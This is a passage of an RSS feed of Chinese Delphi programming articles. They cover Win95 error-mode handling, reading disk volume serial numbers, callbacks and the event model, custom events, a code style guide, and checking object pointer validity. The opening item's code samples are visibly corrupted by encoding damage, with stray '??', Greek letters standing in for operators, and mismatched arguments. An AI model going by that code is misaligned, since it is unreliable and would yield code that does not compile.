RichEdit1．PlainText：ΚFalse；<br/><br/>　　RichEdit1．Lines．LoadFromFile（′c：ιtest．r<br/>tf′）；<br/><br/>　　8．如何防止Win95显示严重错误。<br/><br/>　　不管你的程序如何反复调试，交给用户之后，总有可<br/>能发生你意想不到的错误，如何避免Win95显示出白色的<br/>窗口，告诉你的用户发生了难堪的意外错误呢？我们可以<br/>这样做：<br/><br/>　　var<br/><br/>　　wOldError??Mode：Word；<br/><br/>　　begin<br/><br/>　　／／tellwin??dowstoignorecriticalerrorsandsave<br/>cur??renterrormode<br/><br/>　　wOldError??Mode：ΚSetEr??rorMode（SEM―FAILCR<br/>ITI??CALERRORS）；<br/><br/>　　try<br/><br/>　　／／codethatmightgenerateacriticalerrorgoesher<br/>e．．．<br/><br/>　　finally<br/><br/>　　／／gobacktopreviouserrormode<br/><br/>　　SetErrorMode（wOldErrorMode）；<br/><br/>　　end；<br/><br/>　　end；<br/><br/>　　主要是利用SetErrorMode（）来完成这一功能。<br/><br/>　　9．刚才用鼠标击了哪一个对象。<br/><br/>　　在Win95中，鼠标的右键起到了很大的作用，但是，<br/>由于历史的原因，对于右键的使用即使在Delphi中，也还<br/>不够有效，下面的程序可以告诉你如何知道刚才鼠标右击<br/>的对象名称。首先建立一个popmenu，然后以下的代码就可<br/>以告诉你刚才右击的对象名称：Popup??Menu1．PopupCom<br/>ponent．ClassName。<br/><br/>　　<br/><br/>　　10．检测CD－ROM或是其他磁盘是否有过变化。<br/><br/>　　<br/><br/>　　最简单的检查CD－ROM或是磁盘是否有过变化的方法<br/>是检查其volume号码。你可以简单地运用下面的函数来返<br/>回磁盘的volume系列号码GetDiskVolSerialID（′E′），<br/>函数代码如下：<br/><br/>　　functionGetDiskVolSerialID（cDriveName：char）<br/>：DWord；<br/><br/>　　var<br/><br/>　　dwTemp1，dwTemp2：DWord；<br/><br/>　　begin<br/><br/>　　GetVolumeInformation（PChar（cDriveName＋′：<br/>ι′），<br/><br/>　　Nil，<br/><br/>　　0，<br/><br/>　　ΝResult，<br/><br/>　　dwTemp2，<br/><br/>　　dwTemp2，<br/><br/>　　Nil，<br/><br/>　　0）；<br/><br/>　　end；<br/> <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=53</link>
			<title><![CDATA[回调函数与Delphi的事件模型]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,27 Jun 2008 17:11:18 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=53</guid>
		<description><![CDATA[回调函数：回调函数是这样一种机制：调用者在初始化一个对象（这里的对象是泛指，包括OOP中的对象、全局函数等）时，将一些参数传递给对象，同时将一个调用者可以访问的函数地址传递给该对象。这个函数就是调用者和被调用者之间的一种通知约定，当约定的事件发生时，被调用者（一般会包含一个工作线程）就会按照回调函数地址调用该函数。这种方式，调用者在一个线程，被调用者在另一个线程。在Windows API中有一些函数使用回调函数，例如Cr&#101;ateThread、SetWindowLong等。对应的回调函数定义为如下形式：function CallBackFunc(Wnd: HWND; Msg, WParam, LParam: Longint): Longint;stdcall;procedure ThreadFunction(Ptr: Pointer);stdcall;消息：消息也可以看作是某种形式的回调，因为消息也是在初始化时由调用者向被调用者传递一个句柄和一个消息编号，在约定的事件发生时被调用者向调用者发送消息。这种方式，调用者在主线程中，被调用者在主线程或者工作线程中。Delphi事件模型：在Delphi的VCL中有很多可视化组件都是使用事件模型，例如TForm的OnCr&#101;ate事件，其原理是：在设计时指定事件函数，在运行时事件触发，则会调用在设计时指定的事件函数。在机制上，Delphi事件模型与回调是一样的。但具体形式有些区别，纯的回调函数是全局函数的形式，而Delphi事件是对象方法的形式，即可以定义如下回调函数类型typeTCallBackFunc = procedure (pData: Pointer) of object;这就使得Delphi事件只能在Delphi内部使用，而回调函数是可以跨语言的。另外还要注意，回调函数一般（在Delphi的组件是在主线程中）是在回调体中创建的线程，因此要有临界区保护。]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=52</link>
			<title><![CDATA[如何为Delphi程序添加事件和事件处理器]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,27 Jun 2008 17:09:55 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=52</guid>
		<description><![CDATA[Delphi是一种功能很强的可视化程序开发工具。我们在使用Delphi开发WINDOWS 应用程序的过程中，虽然Delphi为每个可视化组件都提供了很多属性（Property）和事件（Event），但在实际应用中可能会碰到一些自己需要的特殊事件，这些特殊事件Delphi 又没有提供，这时我们就需要为应用程序添加这些特殊事件。当这些事件发生后，又能马上调用处理这些事件的过程。本文通过实例来说明如何为应用程序添加事件和处理事件的过程。 <br/>　　在Delphi中，事件实际上是专门化的属性，它是一个过程（procedure）的指针。要添加事件，首先应在所定义的类中说明一个用来指向事件过程的指针，该指针的作用是当事件一旦发生，就通过这个指针执行所指向的处理这个事件的过程。最后通过指定符 published公布定义的事件属性以及与之关联的事件处理过程指针。 <br/><br/>　　本例中，FtooBig为定义的事件处理过程指针，OnTooBig为事件属性名。事件处理过程指针FtooBig通过程序的初始化使之指向过程TooBig1。在Delphi的表单（Form1）上放置三个编辑框，分别为Edit1、Edit2和Edit3，放一按钮Button1。程序中设私有整型变量val1、val2和res，变量res用来记录val1和val2的乘积，并用Edit3显示出来。当通过Edit1和Edit2输入的数据有一个大于100时，会触发一个事件，并调用事件处理过程TooBig1显示一个对话框，说明此事件已经发生并已进行处理。源程序代码如下, 该程序在Delphi 3中调试通过。 <br/><br/>unit Unit1;<br/>interface<br/>uses<br/>&nbsp;&nbsp; Windows, Messages, SysUtils, Classes, <br/>Graphics, Controls, Forms, Dialogs,<br/>&nbsp;&nbsp; StdCtrls;<br/>type<br/>&nbsp;&nbsp; TForm1 = class(TForm)<br/>&nbsp;&nbsp;&nbsp;&nbsp; Edit1: TEdit;&nbsp;&nbsp;&nbsp;&nbsp; {输入第一个整数}<br/>&nbsp;&nbsp;&nbsp;&nbsp; Edit2: TEdit;&nbsp;&nbsp;&nbsp;&nbsp; {输入第二个整数}<br/>&nbsp;&nbsp;&nbsp;&nbsp; Edit3: TEdit;&nbsp;&nbsp;&nbsp;&nbsp; {输出前二个整数的积}<br/>&nbsp;&nbsp;&nbsp;&nbsp; Button1: TButton;<br/>&nbsp;&nbsp;&nbsp;&nbsp; procedure Button1Click(Sender: TObject);<br/>procedure TooBig1(Sender: TObject);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; {当事件触发后调用此过程}<br/>&nbsp;&nbsp;&nbsp;&nbsp; procedure FormCr&#101;ate(Sender: TObject);<br/>&nbsp;&nbsp; private<br/>val1,val2,res:integer; {val1和val2存放输入的两个整数，res存放两数的积}<br/>FTooBig : TNotifyEvent;&nbsp;&nbsp;&nbsp;&nbsp;{定义一个指向事件处理器的指针FTooBig}<br/>&nbsp;&nbsp;&nbsp;&nbsp; { Private declarations }<br/>&nbsp;&nbsp; public<br/>&nbsp;&nbsp;&nbsp;&nbsp; { Public declarations }<br/>&nbsp;&nbsp; published<br/>property&nbsp;&nbsp; OnTooBig:TNotifyevent read <br/>FTooBig write FTooBig;{定义事件}<br/>&nbsp;&nbsp; end;<br/><br/>var<br/>&nbsp;&nbsp; Form1: TForm1;<br/>implementation<br/>{$R *.DFM}<br/>procedure TForm1.Button1Click(Sender: TObject);<br/>begin<br/>&nbsp;&nbsp; val1 := StrToInt(Edit1.Text);<br/>&nbsp;&nbsp; val2 := StrToInt(Edit2.Text);<br/>&nbsp;&nbsp; if(val1&lt; 100)and(val2&lt; 100) then<br/>&nbsp;&nbsp;&nbsp;&nbsp; begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; res := val1*val2;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Edit3.Text := IntToStr(res);<br/>&nbsp;&nbsp;&nbsp;&nbsp; end<br/>&nbsp;&nbsp; else<br/>&nbsp;&nbsp;&nbsp;&nbsp; if assigned(FTooBig) then&nbsp;&nbsp;&nbsp;&nbsp;OnTooBig(Self);<br/>end;<br/><br/>procedure TForm1.TooBig1(Sender: TObject);<br/>begin<br/>Application.MessageBox(&#39;Too Big&#39;,&#39; Test Event! &#39;,MB_OK);<br/>end;<br/><br/>procedure TForm1.FormCr&#101;ate(Sender: TObject);<br/>begin<br/>&nbsp;&nbsp; val1:=1;<br/>&nbsp;&nbsp; val2:=1;<br/>&nbsp;&nbsp; FTooBig := TooBig1;{使事件处理指针指向事件处理器}<br/>end;<br/><br/>end.<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=51</link>
			<title><![CDATA[Delphi代码风格约定]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,27 Jun 2008 17:07:22 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=51</guid>
		<description><![CDATA[Delphi代码风格约定<br/>qingrui li 据Charles Calvert的Object Pascal Style Guide编注<br/><br/>注：很多用Delphi的人不注意代码风格，经常写一些不规范的代码，以致别人很难看懂且容易出错。希望本文能鼓励广大Delphi爱好者统一到标准风格，共同前进。<br/><br/>本文描述了格式化Delphi代码的标准风格。次风格基于Delphi开发组的编码约定。我们承认很多流行的源码使用了不同于我们的风格，但是我们强烈推荐在公共源码社区使用Borland风格。<br/><br/>Delphi是个漂亮的语言，优点中重要的一条即是可读性。本标准为增强可读性设计。当开发者遵循本标准，所有开发者将从统一易读的风格中受益。强化风格标准的努力可以提高源程序的价值，尤其在调试和维护周期。<br/><br/>InfixCaps命名风格<br/><br/>又叫CamelCaps，名字由几个表达意义的词组成，每个词的首字母大写，其余小写。<br/><br/>如：MyFile，IntToStr，Items。<br/><br/>Delphi不使用匈牙利表示法，而推荐意义明确的名字。如用AppName而非lpszAppName，用Successful而非bSuccess，用ClientRect而非lprectClientRect。<br/><br/>源文件命名<br/><br/>使用InfixCaps形式。如果转译C/C++头文件，则使用与原头文件相同的名字。如果需要将多个头文件合并到一个单元，则使用主要头文件的名字，如：WinBase.h、Windows.h合并为Windows.pas。<br/><br/>命名约定<br/><br/>除了保留字和指示字全部小写，其它标识符使用InfixCaps风格。<br/><br/>注：最近似乎倾向于局部变量和形式参数使用简单的小写或缩写词。<br/><br/>例外是转译头文件的标识符保留原风格。<br/><br/>类型名都以T打头（Type的首字母）<br/><br/>函数、过程、方法名使用动词或动词短语，其它标识符使用名词或名词短语。<br/><br/>类数据成员以F打头（Field的首字母）<br/><br/>枚举类型成员前冠以小写的类型缩写，一般两个字母，例：<br/><br/>&nbsp;&nbsp; TBitBtnKind = (bkCustom, bkOK, bkCancel, bkHelp, <br/>&nbsp;&nbsp;&nbsp;&nbsp; bkYes, bkNo, bkClose, bkAbort, bkRetry, <br/>&nbsp;&nbsp;&nbsp;&nbsp; bkIgnore, bkAll);<br/><br/>返回布尔值的函数以Is打头，例：IsVisible、IsResizable<br/><br/>空白的使用<br/><br/>在适当位置插入空行，分隔代码的不同部分，如类声明间、函数实现间等。<br/><br/>使用空格的位置：标点的右边，二元运算符的两边<br/><br/>不应插入空格的位置：<br/><br/>方法名和其后的左括弧间 <br/>.的前后 <br/>一元运算符和其操作数间 <br/>左括弧后和右括弧前 <br/>分号前 <br/>正确的例子:<br/><br/>function TMyClass.MyFunc(var Value: Integer);<br/>MyPointer := @MyRecord;<br/>MyClass := TMyClass(MyPointer);<br/>MyInteger := MyIntegerArray[5];<br/><br/>错误的例子:<br/><br/>function TMyClass.MyFunc( var Value: Integer ) ;<br/>MyPointer := @ MyRecord;<br/>MyClass := TMyClass ( MyPointer ) ;<br/>MyInteger := MyIntegerArray [ 5 ] ;<br/>缩进<br/><br/>应使用两个空格的缩进，不要使用Tab字符。<br/><br/>begin...end间的代码要缩进，begin...end本身不缩进<br/><br/>续行时缩进两个空格<br/><br/>正确的例子：<br/><br/>function Cr&#101;ateWindowEx(dwExStyle: DWORD; <br/>&nbsp;&nbsp; lpClassName: PChar; lpWindowName: PChar; <br/>&nbsp;&nbsp; dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;<br/>&nbsp;&nbsp; hWndParent: HWND; hMenu: HMENU; hInstance: HINST; <br/>&nbsp;&nbsp; lpParam: Pointer): HWND; stdcall;<br/><br/>if ((X = Y) o&#114; (Y = X) o&#114;<br/>&nbsp;&nbsp; (Z = P) o&#114; (F = J) then<br/>begin<br/>&nbsp;&nbsp; S := J;<br/>end;<br/>while (LongExpression1 o&#114; LongExpression2) do <br/>begin<br/>&nbsp;&nbsp; // DoSomething<br/>&nbsp;&nbsp; // DoSomethingElse;<br/>end;<br/><br/>if (LongExpression1) o&#114; <br/>&nbsp;&nbsp; (LongExpression2) o&#114; <br/>&nbsp;&nbsp; (LongExpression3) then <br/><br/>类<br/><br/>类声明安下列顺序组织<br/><br/>数据域<br/><br/>方法<br/><br/>属性<br/><br/>访问层次安下列顺序组织，但IDE自动生成的代码是例外<br/><br/>Private declarations <br/>Protected declarations <br/>Public declarations <br/>Published declarations <br/>构造函数和析构函数声明在方法声明的前面。由于TObject.Destroy是虚函数且TObject.Free调用的是Destroy，所以析构函数不要用其它的名字。构造函数可以用除Cr&#101;ate外的名字，但一般最好统一用Cr&#101;ate。<br/><br/>例：<br/><br/>&nbsp;&nbsp; TMyClass = class(TObject)<br/>&nbsp;&nbsp; private<br/>&nbsp;&nbsp; protected<br/>&nbsp;&nbsp; public<br/>&nbsp;&nbsp; published<br/>&nbsp;&nbsp; end;<br/><br/>数据应该只在私有部分声明，并以F打头（Field的首字母）。<br/><br/>type<br/>&nbsp;&nbsp; TMyClass = class(TObject)<br/>&nbsp;&nbsp; private<br/>&nbsp;&nbsp;&nbsp;&nbsp; FMyData: Integer;<br/>&nbsp;&nbsp;&nbsp;&nbsp; function GetData: Integer;<br/>&nbsp;&nbsp;&nbsp;&nbsp; procedure SetData(Value: Integer);<br/>&nbsp;&nbsp; public<br/>&nbsp;&nbsp; published<br/>&nbsp;&nbsp;&nbsp;&nbsp; property MyData: Integer read GetData write SetData;<br/>&nbsp;&nbsp; end;<br/>接口遵循相同规则<br/> <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.17benteng.com/article.asp?id=50</link>
			<title><![CDATA[探究如何判断Delphi中的对象指针是否可用]]></title>
			<author>7180001@qq.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Fri,27 Jun 2008 17:06:27 +0800</pubDate>
			<guid>http://www.17benteng.com/default.asp?id=50</guid>
		<description><![CDATA[近日，在网上看到有网友问曰：如何确定一个对象指针是否可用？也就是说，如何确定一个对象指针是否指向一个真正可用的对象实例？其实这本不应该成为一个问题。因为对于程序设计者来说，他应该能够控制自己的程序不去访问一个无效的指针，因为所有的对象实例的创建和销毁都在他控制之下。并且即便没有一个直接的办法来判断对象指针是否可用，也可以通过其他间接的途径（比如使用一些标识等）来做到这一点（比如当我们销毁一个对象实例后，我们将对象指针的指置为nil）。但是假如我们抛开以上所说的这两点不谈，单单来研究在Delphi中，究竟有没有办法来判断一个对象指针是否可用，那情况会如何呢？<br/><br/>在Object Pascal中，一个类可以有两种类型的方法，一种称为对象方法(Object Method)，另一种是类方法（Class Method）。所谓对象方法，指的是方法的定义是针对对象（或称实例）的，因此调用该方法需要基于某个对象（或称实例），比如类的析构函数Destroy就是一个对象方法（其实我们经常用到的绝大部分方法都是对象方法）。而类方法，指的是方法的定义是基于一类对象而言，因此调用该方法不需要基于特定的对象实例，比如类的构造函数Cr&#101;ate就是如此。这一点，对我们有些启发。判断一个对象指针是否可用，似乎可以通过以下步骤来完成。首先，我们可以判断该对象指针是否是nil，如果是，那么大功告成，确定不可用无疑；如果否，那么尝试执行该对象的某个对象方法，看看是否出现诸如无效内存访问等的异常，由此来判断该对象是否可用。用如下代码来验证我们的想法：<br/><br/>var <br/><br/>Obj: TObject;<br/><br/>begin<br/><br/>&nbsp;&nbsp;Obj := TObject.Cr&#101;ate;&nbsp;&nbsp;//1.创建一个对象<br/><br/>&nbsp;&nbsp;Obj.Free;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //2.释放刚刚创建的对象，此时内存被回收<br/><br/>&nbsp;&nbsp;If Obj = nil then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//3.判断指针是否为空，(这一步往往不成功，因为对象<br/><br/>//被释放，Delphi也不会自动将对象指针置空)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage(‘对象指针不可用。’)<br/><br/>&nbsp;&nbsp;else<br/><br/>&nbsp;&nbsp;begin<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Try<br/><br/>If Obj.ClassType = TObject then&nbsp;&nbsp;//4.调用TObject的一个对象方法<br/><br/>ShowMessage(‘对象类型为TObject’);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Except<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowMessage(‘对象指针不可用。’)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End;<br/><br/>&nbsp;&nbsp;end;<br/><br/>end;<br/><br/>执行上述代码，我们发现，即使Obj.Free已经执行，Obj.ClassType依然可用。这表明，并不是所有的对象方法一定要依赖于某个对象实例才能够访问。究其原因，是因为这个对象方法不需要访问某个对象实例所申请的内存。从这个意义上来说，TObject.ClassType方法并不象是一个是真正的对象方法，而颇有些类方法的味道。<br/><br/>执行上述代码，我们还可以发现，一个对象执行Free方法，只是将其在创建时所申请的内存释放全部释放，但是并不影响到对象指针本身的值。对象指针还是指向原来的内存地址。同时，由于某些对象方法（如ClassType）实现的特殊性，即使对象已经被释放了，对象方法的调用结果仍然正确。<br/><br/>综上所述，我们可以得出一个结论，那就是，一个对象指针是否能够被判断为是否可用，要看该对象指针所属的类，是否提供了访问对象实例内存的途径――这个途径可以是方法，也可以是属性。那么，现在具体到各个类中，情况又如何呢？<br/><br/>TObject，该类是所有类的祖先类，没有办法作出判断。<br/><br/>TPersistent，由TObject派生而来，创建对象实例时不需要申请额外的内存，所以也没有办法判断。<br/><br/>TComponent，由TPersistent派生而来，增加了许多在创建对象实例时需要申请额外内存的属性，所以从理论上来说，它是可判断的。代码如下：<br/><br/>function ComponentExists(AComponent: TComponent): Boolean;<br/><br/>begin<br/><br/>&nbsp;&nbsp;try<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;AComponent.HasParent; //注意：这个句子也可以为”AComponent.Tag;”<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //或者为”AComponent.Name”<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;result := True;<br/><br/>&nbsp;&nbsp;except<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;result := False;<br/><br/>&nbsp;&nbsp;end;<br/><br/>end;<br/><br/>通过调用ComponentExists，我们可以得知一个TComponent类型的对象指针是否可用，而不管该对象指针是否已经被释放，是否被置为nil。<br/><br/>其他类，如TControl，TWinControl，或者TButton等等，只要是由TComponent派生而来，则TComponent的判断方法依然适用。<br/><br/>还有其他一些用户自定义的类，若是直接由不能判断的类（比如TObject和TPersistent）派生而来，但是没有需要在实例化时申请内存的属性，那么也没有办法判断；反之，则可以。据个例子来说：<br/><br/>假设我们有一个TPerson类，定义如下：<br/><br/>TPerson = Class(TObject)<br/><br/>Private<br/><br/>&nbsp;&nbsp;FSex: TSex; // TSex 是枚举类型的性别；<br/><br/>&nbsp;&nbsp;FFirstName: String; <br/><br/>&nbsp;&nbsp;FLastName: String; <br/><br/>&nbsp;&nbsp;//…<br/><br/>Public<br/><br/>&nbsp;&nbsp;property Sex: TSex read FSex write FSex;<br/><br/>&nbsp;&nbsp;property FirstName: String read FFirstName write FFirstName;<br/><br/>&nbsp;&nbsp;property LastName: String read FLastName write FLastName;<br/><br/>&nbsp;&nbsp;//…<br/><br/>end;<br/><br/>那么，对于TPerson类型的指针Person，可以用如下代码判断指针是否可用：<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Try<br/><br/>Person.Sex;<br/><br/>//或者 Person.FirstName;<br/><br/>//或者 Person.LastName;<br/><br/>result := True; //指针可用<br/><br/>Except<br/><br/>&nbsp;&nbsp;result := False;//指针不可用<br/><br/>end;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>以上我们探讨的只是一种技术上的可能性。想要强调的一点是，即使有一个好的可行的办法，也不鼓励经常这么做。因为，一个逻辑严密的程序，本来就应能够杜绝去访问一个无效的指针。<br/> <br/><br/>]]></description>
		</item>
		
</channel>
</rss>
